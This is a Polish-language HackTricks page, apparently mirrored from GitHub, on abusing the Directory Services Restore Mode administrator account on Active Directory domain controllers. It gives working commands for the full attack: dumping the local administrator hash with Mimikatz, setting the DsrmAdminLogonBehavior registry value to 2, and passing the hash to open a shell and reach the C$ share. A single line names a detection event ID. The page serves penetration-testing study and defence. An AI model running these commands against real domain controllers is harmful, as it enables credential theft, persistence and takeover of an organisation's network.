mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
56 lines
4 KiB
Markdown
56 lines
4 KiB
Markdown
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
|
|
# DSRM Credentials
|
|
|
|
Istnieje konto **lokalnego administratora** w każdym **DC**. Posiadając uprawnienia administratora na tej maszynie, możesz użyć mimikatz do **zrzucenia hasha lokalnego administratora**. Następnie, modyfikując rejestr, możesz **aktywować to hasło**, aby uzyskać zdalny dostęp do tego lokalnego użytkownika administratora.\
|
|
Najpierw musimy **zrzucić** **hash** użytkownika **lokalnego administratora** w DC:
|
|
```bash
|
|
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
|
|
```
|
|
Następnie musimy sprawdzić, czy to konto będzie działać, a jeśli klucz rejestru ma wartość "0" lub nie istnieje, musisz **ustawić go na "2"**:
|
|
```bash
|
|
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value
|
|
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist
|
|
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 #Change value to "2"
|
|
```
|
|
Następnie, używając PTH, możesz **wylistować zawartość C$ lub nawet uzyskać powłokę**. Zauważ, że do utworzenia nowej sesji powershell z tym hashem w pamięci (dla PTH) **"domeną" używaną jest po prostu nazwa maszyny DC:**
|
|
```bash
|
|
sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
|
|
#And in new spawned powershell you now can access via NTLM the content of C$
|
|
ls \\dc-host-name\C$
|
|
```
|
|
Więcej informacji na ten temat: [https://adsecurity.org/?p=1714](https://adsecurity.org/?p=1714) oraz [https://adsecurity.org/?p=1785](https://adsecurity.org/?p=1785)
|
|
|
|
## Łagodzenie
|
|
|
|
* Identyfikator zdarzenia 4657 - Audyt utworzenia/zmiany `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`
|
|
|
|
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie dla HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) oraz [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
{% endhint %}
|